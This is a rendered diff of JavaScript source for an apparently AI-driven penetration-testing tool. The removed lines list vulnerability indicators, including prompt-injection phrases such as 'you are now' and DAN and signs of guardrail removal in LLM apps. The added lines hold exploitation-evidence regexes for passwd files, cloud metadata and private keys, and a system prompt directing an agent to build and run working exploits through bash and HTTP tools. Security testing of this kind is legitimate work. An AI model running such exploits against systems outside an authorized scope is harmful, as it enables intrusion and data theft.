-
/BinaryFormatter/i,
|
|
1679
|
-
/ObjectStateFormatter/i,
|
|
1680
|
-
/__VIEWSTATE/,
|
|
1681
|
-
/TypeNameHandling/i,
|
|
1682
|
-
// Ruby
|
|
1683
|
-
/Marshal\.load/i,
|
|
1684
|
-
/Gem::Installer/,
|
|
1685
|
-
// Generic
|
|
1686
|
-
/deserializ/i,
|
|
1687
|
-
/serializ.*object/i
|
|
2896
|
+
/\b(mysql|mariadb|postgres|postgresql|sqlite|oracle)\b.*\bversion\b/i,
|
|
2897
|
+
/\b\d+\.\d+\.\d+[-\w]*-?(mariadb|mysql|ubuntu|debian|log)\b/i,
|
|
2898
|
+
/you have an error in your sql syntax/i,
|
|
2899
|
+
/ORA-\d{5}/,
|
|
2900
|
+
/pg_(sleep|version|database)/i,
|
|
2901
|
+
/information_schema\.(tables|columns|schemata)/i,
|
|
2902
|
+
/union\s+select/i,
|
|
2903
|
+
/\bsqlite_version\(\)/i,
|
|
2904
|
+
// Extracted user/hash row patterns
|
|
2905
|
+
/['"]\s*,\s*['"][0-9a-f]{32,}['"]/
|
|
1688
2906
|
]
|
|
1689
2907
|
},
|
|
1690
|
-
{
|
|
1691
|
-
|
|
2908
|
+
xss: {
|
|
2909
|
+
label: "XSS: script reflected unencoded or dialog fired",
|
|
1692
2910
|
patterns: [
|
|
1693
|
-
/
|
|
1694
|
-
/
|
|
1695
|
-
/
|
|
1696
|
-
/
|
|
1697
|
-
/
|
|
1698
|
-
/TE\.CL/i,
|
|
1699
|
-
/TE\.TE/i,
|
|
1700
|
-
/desync/i,
|
|
1701
|
-
/smuggl/i,
|
|
1702
|
-
/HAProxy/i,
|
|
1703
|
-
/Apache Traffic Server/i,
|
|
1704
|
-
/\bnginx\/1\.[0-9]\./i,
|
|
1705
|
-
// old nginx often vulnerable
|
|
1706
|
-
/HTTP\/1\.1.*keep-alive/i,
|
|
1707
|
-
/front.?end.*back.?end/i,
|
|
1708
|
-
/reverse.proxy/i,
|
|
1709
|
-
/X-Forwarded-For/i
|
|
2911
|
+
/<script[^>]*>[^<]*(alert|confirm|prompt)\s*\(/i,
|
|
2912
|
+
/on(error|load|click|mouseover)\s*=\s*["']?\s*(alert|confirm|prompt)\s*\(/i,
|
|
2913
|
+
/dialog\s+(fired|opened|appeared)/i,
|
|
2914
|
+
/\balert\(1\)/i,
|
|
2915
|
+
/javascript:alert/i
|
|
1710
2916
|
]
|
|
1711
2917
|
},
|
|
1712
|
-
{
|
|
1713
|
-
|
|
2918
|
+
ssrf: {
|
|
2919
|
+
label: "SSRF: internal IP/metadata endpoint responded",
|
|
1714
2920
|
patterns: [
|
|
1715
|
-
|
|
1716
|
-
|
|
1717
|
-
/
|
|
1718
|
-
/
|
|
1719
|
-
/
|
|
1720
|
-
/
|
|
1721
|
-
/
|
|
1722
|
-
/
|
|
1723
|
-
/X-Original-URL/i,
|
|
1724
|
-
/X-Rewrite-URL/i,
|
|
1725
|
-
/X-HTTP-Method/i,
|
|
1726
|
-
/_method=/i,
|
|
1727
|
-
/mass.assignment/i,
|
|
1728
|
-
/parameter.pollution/i,
|
|
1729
|
-
/\bHPP\b/,
|
|
1730
|
-
/403.*forbidden/i,
|
|
1731
|
-
/401.*unauthorized/i,
|
|
1732
|
-
/not.*authorized/i,
|
|
1733
|
-
/permission.denied/i,
|
|
1734
|
-
/access.denied/i,
|
|
1735
|
-
/enumerate/i,
|
|
1736
|
-
/sequential.*id/i,
|
|
1737
|
-
/predictable.*id/i
|
|
2921
|
+
/169\.254\.169\.254/,
|
|
2922
|
+
/metadata\.google\.internal/i,
|
|
2923
|
+
/instance-identity/i,
|
|
2924
|
+
/iam\/security-credentials/i,
|
|
2925
|
+
/127\.0\.0\.1|localhost/i,
|
|
2926
|
+
/10\.\d{1,3}\.\d{1,3}\.\d{1,3}/,
|
|
2927
|
+
/192\.168\.\d{1,3}\.\d{1,3}/,
|
|
2928
|
+
/172\.(1[6-9]|2[0-9]|3[01])\.\d{1,3}\.\d{1,3}/
|
|
1738
2929
|
]
|
|
1739
2930
|
},
|
|
1740
|
-
{
|
|
1741
|
-
|
|
2931
|
+
"command-injection": {
|
|
2932
|
+
label: "RCE: command output in response",
|
|
1742
2933
|
patterns: [
|
|
1743
|
-
|
|
1744
|
-
|
|
1745
|
-
/
|
|
1746
|
-
/
|
|
1747
|
-
/
|
|
1748
|
-
/
|
|
1749
|
-
|
|
1750
|
-
/wp-login/i,
|
|
1751
|
-
/\/wp-content\/plugins\//i,
|
|
1752
|
-
/\/wp-content\/themes\//i,
|
|
1753
|
-
// Drupal / Joomla
|
|
1754
|
-
/drupal/i,
|
|
1755
|
-
/joomla/i,
|
|
1756
|
-
/X-Drupal-Cache/i,
|
|
1757
|
-
// Generator / version disclosure
|
|
1758
|
-
/<meta\s+name=["']generator["']/i,
|
|
1759
|
-
/X-Generator:/i,
|
|
1760
|
-
/X-Powered-By:/i,
|
|
1761
|
-
/Server:\s*Apache\/[\d.]+/i,
|
|
1762
|
-
/Server:\s*nginx\/[\d.]+/i,
|
|
1763
|
-
// Common fingerprint files
|
|
1764
|
-
/readme\.html/i,
|
|
1765
|
-
/CHANGELOG\.txt/i,
|
|
1766
|
-
/composer\.json/i,
|
|
1767
|
-
/package\.json/i,
|
|
1768
|
-
// CVE / version strings
|
|
1769
|
-
/CVE-\d{4}-\d{4,7}/i,
|
|
1770
|
-
/\?ver=[\d.]+/i,
|
|
1771
|
-
/version[\s:=]+[\d]+\.[\d]+/i,
|
|
1772
|
-
// Plugin slugs commonly seen
|
|
1773
|
-
/contact-form-7/i,
|
|
1774
|
-
/woocommerce/i,
|
|
1775
|
-
/elementor/i,
|
|
1776
|
-
/yoast/i,
|
|
1777
|
-
/wp-file-manager/i,
|
|
1778
|
-
/duplicator/i,
|
|
1779
|
-
/ninja-forms/i
|
|
2934
|
+
/uid=\d+\([^)]+\)\s+gid=\d+/,
|
|
2935
|
+
/\broot:x:0:0:/,
|
|
2936
|
+
/Linux\s+[\w.-]+\s+\d+\.\d+\.\d+/,
|
|
2937
|
+
/^\/bin\/(bash|sh)/m,
|
|
2938
|
+
/PATH=[^\n]{5,}/,
|
|
2939
|
+
/^(usr|bin|etc|var|tmp|home|root)\b/m,
|
|
2940
|
+
/\bwhoami\b\s*[\r\n]+\s*\w+/i
|
|
1780
2941
|
]
|
|
1781
2942
|
},
|
|
1782
|
-
{
|
|
1783
|
-
|
|
2943
|
+
"code-injection": {
|
|
2944
|
+
label: "Code injection: arbitrary code output in response",
|
|
1784
2945
|
patterns: [
|
|
1785
|
-
/
|
|
1786
|
-
|
|
1787
|
-
/
|
|
1788
|
-
/
|
|
1789
|
-
/\bLLM\b/,
|
|
1790
|
-
/chatbot/i,
|
|
1791
|
-
/\bassistant\b/i,
|
|
1792
|
-
/role[:=]\s*system/i,
|
|
1793
|
-
/you are (?:a|an|now)/i,
|
|
1794
|
-
/\bDAN\b/
|
|
2946
|
+
/uid=\d+\([^)]+\)/,
|
|
2947
|
+
/\broot:x:0:0:/,
|
|
2948
|
+
/__import__|eval\(|exec\(/,
|
|
2949
|
+
/\bpython\d?\b.*traceback/i
|
|
1795
2950
|
]
|
|
1796
2951
|
},
|
|
1797
|
-
{
|
|
1798
|
-
|
|
2952
|
+
"path-traversal": {
|
|
2953
|
+
label: "LFI: sensitive file contents in response",
|
|
1799
2954
|
patterns: [
|
|
1800
|
-
/\
|
|
1801
|
-
|
|
1802
|
-
|
|
1803
|
-
|
|
1804
|
-
/
|
|
1805
|
-
/\bretriev/i,
|
|
1806
|
-
/(?:upload|add|index|ingest).*(?:document|doc|file)/i,
|
|
1807
|
-
/context\s*(?:window|poison)/i,
|
|
1808
|
-
/ask (?:my|your) docs/i,
|
|
1809
|
-
/semantic search/i
|
|
2955
|
+
/\broot:x:0:0:/,
|
|
2956
|
+
/\bdaemon:x:\d+:\d+:/,
|
|
2957
|
+
/\[boot loader\]/i,
|
|
2958
|
+
/-----BEGIN (RSA |OPENSSH |EC |DSA )?PRIVATE KEY-----/,
|
|
2959
|
+
/\/etc\/shadow/
|
|
1810
2960
|
]
|
|
1811
2961
|
},
|
|
1812
|
-
{
|
|
1813
|
-
|
|
2962
|
+
"information-disclosure": {
|
|
2963
|
+
label: "IDOR / info disclosure: access to restricted data",
|
|
1814
2964
|
patterns: [
|
|
1815
|
-
|
|
1816
|
-
|
|
1817
|
-
|
|
1818
|
-
|
|
1819
|
-
/innerHTML/i,
|
|
1820
|
-
/dangerouslySetInnerHTML/i,
|
|
1821
|
-
/output.*(?:render|execut|eval)/i,
|
|
1822
|
-
/<img[^>]+onerror/i,
|
|
1823
|
-
/<script/i,
|
|
1824
|
-
/unescap/i,
|
|
1825
|
-
/link\s*(?:preview|unfurl)/i
|
|
2965
|
+
/"(email|password|ssn|credit_?card|api[_-]?key|token)"\s*:/i,
|
|
2966
|
+
/\broot:x:0:0:/,
|
|
2967
|
+
/-----BEGIN (RSA |OPENSSH |EC |DSA )?PRIVATE KEY-----/,
|
|
2968
|
+
/user\s*id\s*[:=]\s*\d+/i
|
|
1826
2969
|
]
|
|
1827
2970
|
},
|
|
1828
|
-
{
|
|
1829
|
-
|
|
2971
|
+
"heap-overflow": {
|
|
2972
|
+
label: "Heap overflow: KASAN out-of-bounds or crash evidence",
|
|
1830
2973
|
patterns: [
|
|
1831
|
-
/
|
|
1832
|
-
/
|
|
1833
|
-
/
|
|
1834
|
-
|
|
1835
|
-
|
|
1836
|
-
/\bagent\b/i,
|
|
1837
|
-
/(?:send|delete|transfer|execute|invoke).*(?:tool|function|action)/i,
|
|
1838
|
-
/tool[_-]?call/i,
|
|
1839
|
-
/autonomous/i,
|
|
1840
|
-
/human.in.the.loop/i
|
|
2974
|
+
/BUG:\s*KASAN:\s*(slab-)?out-of-bounds/i,
|
|
2975
|
+
/heap-buffer-overflow/i,
|
|
2976
|
+
/\bKASAN\b.*\b(read|write)\b.*\bsize\s+\d+\b/i,
|
|
2977
|
+
/allocated by task/i,
|
|
2978
|
+
/Oops:.*\[#\d+\]/
|
|
1841
2979
|
]
|
|
1842
2980
|
},
|
|
1843
|
-
{
|
|
1844
|
-
|
|
1845
|
-
// coincides with LLM-app + prompt-store signals: the system prompt /
|
|
1846
|
-
// guardrails / model config live in a writable DB row. Distinct from
|
|
1847
|
-
// rag_poisoning (writable retrieval docs) — this is the *control* layer.
|
|
1848
|
-
type: "prompt_layer_write",
|
|
2981
|
+
"use-after-free": {
|
|
2982
|
+
label: "UAF: KASAN use-after-free or freed-object access",
|
|
1849
2983
|
patterns: [
|
|
1850
|
-
/
|
|
1851
|
-
|
|
1852
|
-
|
|
1853
|
-
/\
|
|
1854
|
-
/
|
|
1855
|
-
/agent[_\s-]?config/i,
|
|
1856
|
-
/model[_\s-]?config/i,
|
|
1857
|
-
/safety[_\s-]?settings/i,
|
|
1858
|
-
/\bllm[_\s-]?settings/i,
|
|
1859
|
-
/\bLLM\b/,
|
|
1860
|
-
/\bchatbot\b/i,
|
|
1861
|
-
/you are (?:a|an|now)/i,
|
|
1862
|
-
// DB-foothold co-signals
|
|
1863
|
-
/\bSQLi\b/i,
|
|
1864
|
-
/information_schema/i,
|
|
1865
|
-
/SHOW\s+TABLES/i,
|
|
1866
|
-
/\bUPDATE\s+\w+\s+SET/i,
|
|
1867
|
-
/getCollectionNames/i,
|
|
1868
|
-
/\bGRANT\b/i,
|
|
1869
|
-
/\bUPDATE\b.*privilege/i
|
|
2984
|
+
/BUG:\s*KASAN:\s*(slab-)?use-after-free/i,
|
|
2985
|
+
/Freed by task/i,
|
|
2986
|
+
/\buse-after-free\b/i,
|
|
2987
|
+
/\bKASAN\b.*\bfreed\b/i,
|
|
2988
|
+
/allocated by task.*\nfreed by task/is
|
|
1870
2989
|
]
|
|
1871
2990
|
},
|
|
1872
|
-
{
|
|
1873
|
-
|
|
1874
|
-
// Fires on Rust unsafe / FFI surface, memory-corruption signals (sanitizer
|
|
1875
|
-
// and miri output, GC-root / refcount language), and the language-runtime
|
|
1876
|
-
// sandbox context the round-1 UAF lived in.
|
|
1877
|
-
type: "rust_memsafety",
|
|
2991
|
+
"stack-buffer-overflow": {
|
|
2992
|
+
label: "Stack overflow: KASAN stack-out-of-bounds",
|
|
1878
2993
|
patterns: [
|
|
1879
|
-
|
|
1880
|
-
|
|
1881
|
-
/\
|
|
1882
|
-
/\blibfuzzer\b/i,
|
|
1883
|
-
/\bmiri\b/i,
|
|
1884
|
-
/AddressSanitizer/i,
|
|
1885
|
-
/\bASAN\b/i,
|
|
1886
|
-
/\bUBSAN\b/i,
|
|
1887
|
-
/heap-use-after-free/i,
|
|
1888
|
-
/use[\s-]?after[\s-]?free/i,
|
|
1889
|
-
/double[\s-]?free/i,
|
|
1890
|
-
/type[\s-]?confusion/i,
|
|
1891
|
-
/\btransmute\b/i,
|
|
1892
|
-
/from_raw\b/i,
|
|
1893
|
-
/\bPy_(?:INCREF|DECREF)\b/i,
|
|
1894
|
-
/\brefcount\b/i,
|
|
1895
|
-
/\bgc[\s_-]?root\b/i,
|
|
1896
|
-
/gc\.collect\(/i,
|
|
1897
|
-
/garbage collector/i,
|
|
1898
|
-
/\.rs\b/,
|
|
1899
|
-
/\bcargo\b/i,
|
|
1900
|
-
/\bsegfault\b/i,
|
|
1901
|
-
/sandbox escape/i
|
|
2994
|
+
/BUG:\s*KASAN:\s*stack-out-of-bounds/i,
|
|
2995
|
+
/stack-buffer-overflow/i,
|
|
2996
|
+
/\bKASAN\b.*\bstack\b/i
|
|
1902
2997
|
]
|
|
1903
|
-
}
|
|
1904
|
-
|
|
1905
|
-
|
|
1906
|
-
const combined = toolResultTexts.join("\n");
|
|
1907
|
-
const scores = /* @__PURE__ */ new Map();
|
|
1908
|
-
for (const indicator of INDICATORS) {
|
|
1909
|
-
let matchCount = 0;
|
|
1910
|
-
for (const pattern of indicator.patterns) {
|
|
1911
|
-
if (pattern.test(combined)) {
|
|
1912
|
-
matchCount++;
|
|
1913
|
-
}
|
|
1914
|
-
}
|
|
1915
|
-
if (matchCount >= 2) {
|
|
1916
|
-
scores.set(indicator.type, matchCount);
|
|
1917
|
-
}
|
|
1918
|
-
}
|
|
1919
|
-
return [...scores.entries()].sort((a, b) => b[1] - a[1]).slice(0, 3).map(([type]) => type);
|
|
1920
|
-
}
|
|
1921
|
-
function buildPlaybookInjection(types) {
|
|
1922
|
-
const sections = types.map((t) => PLAYBOOKS[t]).filter(Boolean);
|
|
1923
|
-
if (sections.length === 0)
|
|
1924
|
-
return "";
|
|
1925
|
-
return [
|
|
1926
|
-
"## Dynamic Playbook Injection",
|
|
1927
|
-
"",
|
|
1928
|
-
"Based on reconnaissance so far, these vulnerability-specific methodologies apply.",
|
|
1929
|
-
"Follow the steps below \u2014 they are tuned for the patterns detected in this target.",
|
|
1930
|
-
"",
|
|
1931
|
-
...sections
|
|
1932
|
-
].join("\n");
|
|
1933
|
-
}
|
|
1934
|
-
var PROMPT_LAYER_IMPACT_RULES = [
|
|
1935
|
-
{
|
|
1936
|
-
impact: "guardrail_removal",
|
|
2998
|
+
},
|
|
2999
|
+
"null-pointer-deref": {
|
|
3000
|
+
label: "Null deref: kernel NULL pointer dereference",
|
|
1937
3001
|
patterns: [
|
|
1938
|
-
|
|
1939
|
-
/
|
|
1940
|
-
|
|
1941
|
-
|
|
1942
|
-
|
|
1943
|
-
/\bnever (?:reveal|disclose|share|answer)/i,
|
|
1944
|
-
/you must (?:refuse|not)/i,
|
|
1945
|
-
/content[_\s-]?filter/i
|
|
3002
|
+
/BUG:\s*kernel NULL pointer dereference/i,
|
|
3003
|
+
/unable to handle kernel NULL pointer/i,
|
|
3004
|
+
/general protection fault.*0000/i,
|
|
3005
|
+
/Oops:.*\[#\d+\]/,
|
|
3006
|
+
/IP:.*\+0x/
|
|
1946
3007
|
]
|
|
1947
3008
|
},
|
|
1948
|
-
{
|
|
1949
|
-
|
|
3009
|
+
"integer-overflow": {
|
|
3010
|
+
label: "Integer overflow: UBSAN or arithmetic overflow",
|
|
1950
3011
|
patterns: [
|
|
1951
|
-
/
|
|
1952
|
-
/
|
|
1953
|
-
|
|
1954
|
-
/
|
|
1955
|
-
|
|
1956
|
-
/append .*(?:url|link|http)/i
|
|
3012
|
+
/UBSAN:\s*(shift|integer|array)/i,
|
|
3013
|
+
/signed integer overflow/i,
|
|
3014
|
+
/unsigned integer overflow/i,
|
|
3015
|
+
/shift.*out of range/i,
|
|
3016
|
+
/division by zero/i
|
|
1957
3017
|
]
|
|
1958
3018
|
},
|
|
1959
|
-
{
|
|
1960
|
-
|
|
3019
|
+
"race-condition": {
|
|
3020
|
+
label: "Race: RCU stall or lock dependency violation",
|
|
1961
3021
|
patterns: [
|
|
1962
|
-
/
|
|
1963
|
-
|
|
1964
|
-
|
|
1965
|
-
|
|
1966
|
-
/
|
|
1967
|
-
/function[_\s-]?(?:config|call)/i,
|
|
1968
|
-
/assistant[_\s-]?config/i,
|
|
1969
|
-
/agent[_\s-]?config/i
|
|
3022
|
+
/rcu.*stall/i,
|
|
3023
|
+
/INFO:\s*possible circular locking/i,
|
|
3024
|
+
/WARNING:.*lockdep/i,
|
|
3025
|
+
/DEADLOCK/i,
|
|
3026
|
+
/inconsistent lock state/i
|
|
1970
3027
|
]
|
|
1971
3028
|
},
|
|
1972
|
-
{
|
|
1973
|
-
|
|
3029
|
+
"double-free": {
|
|
3030
|
+
label: "Double free: KASAN double-free detection",
|
|
1974
3031
|
patterns: [
|
|
1975
|
-
/
|
|
1976
|
-
/
|
|
1977
|
-
|
|
1978
|
-
|
|
1979
|
-
|
|
1980
|
-
|
|
3032
|
+
/BUG:\s*KASAN:\s*double-free/i,
|
|
3033
|
+
/KASAN.*double.?free/i,
|
|
3034
|
+
/Object already free/i
|
|
3035
|
+
]
|
|
3036
|
+
},
|
|
3037
|
+
"type-confusion": {
|
|
3038
|
+
label: "Type confusion: invalid cast or type mismatch",
|
|
3039
|
+
patterns: [
|
|
3040
|
+
/UBSAN:\s*member access.*type/i,
|
|
3041
|
+
/type.*confusion/i,
|
|
3042
|
+
/invalid.*downcast/i,
|
|
3043
|
+
/load of misaligned address/i
|
|
1981
3044
|
]
|
|
1982
3045
|
}
|
|
1983
|
-
|
|
1984
|
-
function
|
|
1985
|
-
|
|
3046
|
+
};
|
|
3047
|
+
function judgePovEvidence(finding, executionEvidence) {
|
|
3048
|
+
const judge = CATEGORY_JUDGES[finding.category];
|
|
3049
|
+
if (judge) {
|
|
3050
|
+
for (const pat of judge.patterns) {
|
|
3051
|
+
const m = executionEvidence.match(pat);
|
|
3052
|
+
if (m) {
|
|
3053
|
+
return { passed: true, matchedPattern: m[0], label: judge.label };
|
|
3054
|
+
}
|
|
3055
|
+
}
|
|
3056
|
+
return { passed: false, label: judge.label };
|
|
3057
|
+
}
|
|
3058
|
+
const generic = [
|
|
3059
|
+
/uid=\d+\([^)]+\)/,
|
|
3060
|
+
/\broot:x:0:0:/,
|
|
3061
|
+
/flag\{[^}]+\}/i,
|
|
3062
|
+
/-----BEGIN (RSA |OPENSSH |EC |DSA )?PRIVATE KEY-----/,
|
|
3063
|
+
/HTTP\/\d\.\d\s+200\s+OK[\s\S]{0,2000}password/i
|
|
3064
|
+
];
|
|
3065
|
+
for (const pat of generic) {
|
|
3066
|
+
const m = executionEvidence.match(pat);
|
|
3067
|
+
if (m) {
|
|
3068
|
+
return {
|
|
3069
|
+
passed: true,
|
|
3070
|
+
matchedPattern: m[0],
|
|
3071
|
+
label: "generic exploitation proof"
|
|
3072
|
+
};
|
|
3073
|
+
}
|
|
3074
|
+
}
|
|
3075
|
+
return { passed: false, label: "no category-specific proof" };
|
|
1986
3076
|
}
|
|
1987
|
-
function
|
|
1988
|
-
|
|
1989
|
-
|
|
1990
|
-
|
|
3077
|
+
function buildPovSystemPrompt(finding, target, maxTurns) {
|
|
3078
|
+
return `You are the PoV (Proof-of-Vulnerability) agent.
|
|
3079
|
+
|
|
3080
|
+
You have ONE JOB: demonstrate that this finding is actually exploitable by
|
|
3081
|
+
RUNNING a working exploit against the target and capturing output that
|
|
3082
|
+
proves the vulnerability is real.
|
|
3083
|
+
|
|
3084
|
+
# Target
|
|
3085
|
+
${target}
|
|
3086
|
+
|
|
3087
|
+
# Finding under test
|
|
3088
|
+
- id: ${finding.id}
|
|
3089
|
+
- title: ${finding.title}
|
|
3090
|
+
- category: ${finding.category}
|
|
3091
|
+
- severity: ${finding.severity}
|
|
3092
|
+
|
|
3093
|
+
# Evidence from the original agent
|
|
3094
|
+
Request:
|
|
3095
|
+
${(finding.evidence.request ?? "").slice(0, 2e3)}
|
|
3096
|
+
|
|
3097
|
+
Response:
|
|
3098
|
+
${(finding.evidence.response ?? "").slice(0, 2e3)}
|
|
3099
|
+
|
|
3100
|
+
Analysis:
|
|
3101
|
+
${(finding.evidence.analysis ?? "").slice(0, 1e3)}
|
|
3102
|
+
|
|
3103
|
+
# Rules (these override any general instincts)
|
|
3104
|
+
1. You MUST produce a CONCRETE, EXECUTABLE exploit (curl/python/bash/js).
|
|
3105
|
+
2. You MUST actually RUN it via the \`bash\` or \`http_request\` tool and
|
|
3106
|
+
capture the response.
|
|
3107
|
+
3. The captured response MUST contain category-specific proof of
|
|
3108
|
+
exploitation (extracted data, /etc/passwd, uid=0, reflected <script>,
|
|
3109
|
+
169.254.169.254 metadata, etc.). A 200 OK alone is NOT proof.
|
|
3110
|
+
4. DO NOT speculate, DO NOT describe what would happen, DO NOT paraphrase.
|
|
3111
|
+
If you cannot run it and see real proof, call \`give_up\`.
|
|
3112
|
+
5. When you have working proof, call \`submit_pov\` ONCE with the exact
|
|
3113
|
+
artifact and the exact output.
|
|
3114
|
+
6. You have at most ${maxTurns} turns. Be decisive.
|
|
3115
|
+
|
|
3116
|
+
# Accepted proof by category
|
|
3117
|
+
- sql-injection: extracted rows, version strings, SQL error, union select data
|
|
3118
|
+
- xss: <script> reflected unencoded, or dialog fired
|
|
3119
|
+
- ssrf: 169.254.169.254 or internal network response
|
|
3120
|
+
- command-injection / code-injection: uid=, /etc/passwd, kernel version
|
|
3121
|
+
- path-traversal: /etc/passwd, shadow, private keys
|
|
3122
|
+
- information-disclosure: sensitive fields (password, api_key, tokens)
|
|
3123
|
+
|
|
3124
|
+
Start by writing the exploit and running it. No preamble.`;
|
|
3125
|
+
}
|
|
3126
|
+
var MAX_OUTPUT_CHARS = 8e3;
|
|
3127
|
+
var BASH_TIMEOUT_MS = 15e3;
|
|
3128
|
+
function clip(s) {
|
|
3129
|
+
if (s.length <= MAX_OUTPUT_CHARS)
|
|
3130
|
+
return s;
|
|
3131
|
+
return `${s.slice(0, MAX_OUTPUT_CHARS)}
|
|
3132
|
+
\u2026[truncated ${s.length - MAX_OUTPUT_CHARS} chars]`;
|
|
3133
|
+
}
|
|
3134
|
+
async function runBash(command) {
|
|
3135
|
+
try {
|
|
3136
|
+
const { stdout, stderr } = await execFileAsync("bash", ["-lc", command], {
|
|
3137
|
+
timeout: BASH_TIMEOUT_MS,
|
|
3138
|
+
maxBuffer: 2 * 1024 * 1024
|
|
3139
|
+
});
|
|
3140
|
+
return clip(`$ ${command}
|
|
3141
|
+
${stdout}${stderr ? `
|
|
3142
|
+
[stderr]
|
|
3143
|
+
${stderr}` : ""}`);
|
|
3144
|
+
} catch (err) {
|
|
3145
|
+
const e = err;
|
|
3146
|
+
return clip(`$ ${command}
|
|
3147
|
+
[error] ${e.message}
|
|
3148
|
+
${e.stdout ?? ""}${e.stderr ?? ""}`);
|
|
3149
|
+
}
|
|
3150
|
+
}
|
|
3151
|
+
async function runHttp(input) {
|
|
3152
|
+
const url = String(input.url ?? "");
|
|
3153
|
+
const method = String(input.method ?? "GET");
|
|
3154
|
+
const body = input.body !== void 0 ? String(input.body) : void 0;
|
|
3155
|
+
const headers = input.headers ?? {};
|
|
3156
|
+
if (!url)
|
|
3157
|
+
return "[error] url is required";
|
|
3158
|
+
try {
|
|
3159
|
+
const res = await fetch(url, {
|
|
3160
|
+
method,
|
|
3161
|
+
headers,
|
|
3162
|
+
body
|
|
3163
|
+
});
|
|
3164
|
+
const text = await res.text();
|
|
3165
|
+
return clip(`HTTP/${res.status} ${method} ${url}
|
|
3166
|
+
${text}`);
|
|
3167
|
+
} catch (err) {
|
|
3168
|
+
return clip(`[error] fetch ${url}: ${err.message}`);
|
|
3169
|
+
}
|
|
3170
|
+
}
|
|
3171
|
+
function isOracleInfraError(reason) {
|
|
3172
|
+
return /\b(failed|error|threw|exception|unavailable|timed? ?out)\b/i.test(reason);
|
|
3173
|
+
}
|
|
3174
|
+
async function generatePov(finding, target, runtime, maxTurns = 5, opts = {}) {
|
|
3175
|
+
const oracleKind = oracleForCategory(finding.category);
|
|
3176
|
+
const system = buildPovSystemPrompt(finding, target, maxTurns);
|
|
3177
|
+
const messages = [
|
|
3178
|
+
{
|
|
3179
|
+
role: "user",
|
|
3180
|
+
content: [
|
|
3181
|
+
{
|
|
3182
|
+
type: "text",
|
|
3183
|
+
text: "Build and run a working PoC for the finding above. Remember: real execution, real output, no speculation."
|
|
3184
|
+
}
|
|
3185
|
+
]
|
|
3186
|
+
}
|
|
3187
|
+
];
|
|
3188
|
+
const judge = opts.judge ?? judgePovEvidence;
|
|
3189
|
+
let submitted = null;
|
|
3190
|
+
let gaveUpReason = null;
|
|
3191
|
+
let turnsUsed = 0;
|
|
3192
|
+
for (let turn = 1; turn <= maxTurns; turn++) {
|
|
3193
|
+
turnsUsed = turn;
|
|
3194
|
+
const result = await runtime.executeNative(system, messages, POV_TOOLS);
|
|
3195
|
+
if (result.error) {
|
|
3196
|
+
return {
|
|
3197
|
+
hasPov: false,
|
|
3198
|
+
povArtifact: null,
|
|
3199
|
+
artifactType: "none",
|
|
3200
|
+
executionEvidence: "",
|
|
3201
|
+
confidence: 0,
|
|
3202
|
+
turnsUsed,
|
|
3203
|
+
reason: `runtime error: ${result.error}`,
|
|
3204
|
+
oracle: oracleKind
|
|
3205
|
+
};
|
|
3206
|
+
}
|
|
3207
|
+
messages.push({ role: "assistant", content: result.content });
|
|
3208
|
+
const toolUseBlocks = result.content.filter((b) => b.type === "tool_use");
|
|
3209
|
+
if (toolUseBlocks.length === 0) {
|
|
3210
|
+
messages.push({
|
|
3211
|
+
role: "user",
|
|
3212
|
+
content: [
|
|
3213
|
+
{
|
|
3214
|
+
type: "text",
|
|
3215
|
+
text: "No tool call detected. Either RUN the exploit via `bash`/`http_request` and then call `submit_pov`, or call `give_up`. No speculation."
|
|
3216
|
+
}
|
|
3217
|
+
]
|
|
3218
|
+
});
|
|
3219
|
+
continue;
|
|
3220
|
+
}
|
|
3221
|
+
const toolResults = [];
|
|
3222
|
+
for (const block of toolUseBlocks) {
|
|
3223
|
+
let output;
|
|
3224
|
+
switch (block.name) {
|
|
3225
|
+
case "bash": {
|
|
3226
|
+
const cmd = String(block.input.command ?? "");
|
|
3227
|
+
output = opts.disableBash ? `[bash disabled in test mode] would run: ${cmd}` : await runBash(cmd);
|
|
3228
|
+
break;
|
|
3229
|
+
}
|
|
3230
|
+
case "http_request": {
|
|
3231
|
+
output = opts.disableHttp ? `[http disabled in test mode] would fetch: ${JSON.stringify(block.input)}` : await runHttp(block.input);
|
|
3232
|
+
break;
|
|
3233
|
+
}
|
|
3234
|
+
case "submit_pov": {
|
|
3235
|
+
const art = String(block.input.artifact ?? "");
|
|
3236
|
+
const ev = String(block.input.execution_evidence ?? "");
|
|
3237
|
+
const at = String(block.input.artifact_type ?? "bash");
|
|
3238
|
+
submitted = {
|
|
3239
|
+
artifact: art,
|
|
3240
|
+
execution_evidence: ev,
|
|
3241
|
+
artifact_type: ["curl", "python", "javascript", "bash"].includes(at) ? at : "bash"
|
|
3242
|
+
};
|
|
3243
|
+
output = "submitted";
|
|
3244
|
+
break;
|
|
3245
|
+
}
|
|
3246
|
+
case "give_up": {
|
|
3247
|
+
gaveUpReason = String(block.input.reason ?? "agent gave up");
|
|
3248
|
+
output = "acknowledged";
|
|
3249
|
+
break;
|
|
3250
|
+
}
|
|
3251
|
+
default:
|
|
3252
|
+
output = `[error] unknown tool ${block.name}`;
|
|
3253
|
+
}
|
|
3254
|
+
toolResults.push({
|
|
3255
|
+
type: "tool_result",
|
|
3256
|
+
tool_use_id: block.id,
|
|
3257
|
+
content: output
|
|
3258
|
+
});
|
|
3259
|
+
}
|
|
3260
|
+
messages.push({ role: "user", content: toolResults });
|
|
3261
|
+
if (submitted)
|
|
3262
|
+
break;
|
|
3263
|
+
if (gaveUpReason)
|
|
3264
|
+
break;
|
|
3265
|
+
}
|
|
3266
|
+
if (gaveUpReason) {
|
|
1991
3267
|
return {
|
|
1992
|
-
|
|
1993
|
-
|
|
1994
|
-
|
|
1995
|
-
|
|
3268
|
+
hasPov: false,
|
|
3269
|
+
povArtifact: null,
|
|
3270
|
+
artifactType: "none",
|
|
3271
|
+
executionEvidence: "",
|
|
3272
|
+
confidence: 0,
|
|
3273
|
+
turnsUsed,
|
|
3274
|
+
reason: `agent gave up: ${gaveUpReason}`,
|
|
3275
|
+
oracle: oracleKind
|
|
1996
3276
|
};
|
|
1997
3277
|
}
|
|
1998
|
-
|
|
1999
|
-
|
|
2000
|
-
|
|
2001
|
-
|
|
2002
|
-
|
|
3278
|
+
if (!submitted) {
|
|
3279
|
+
return {
|
|
3280
|
+
hasPov: false,
|
|
3281
|
+
povArtifact: null,
|
|
3282
|
+
artifactType: "none",
|
|
3283
|
+
executionEvidence: "",
|
|
3284
|
+
confidence: 0,
|
|
3285
|
+
turnsUsed,
|
|
3286
|
+
reason: turnsUsed >= maxTurns ? `max turns (${maxTurns}) exceeded without a working PoC` : "agent exited without submitting a PoC",
|
|
3287
|
+
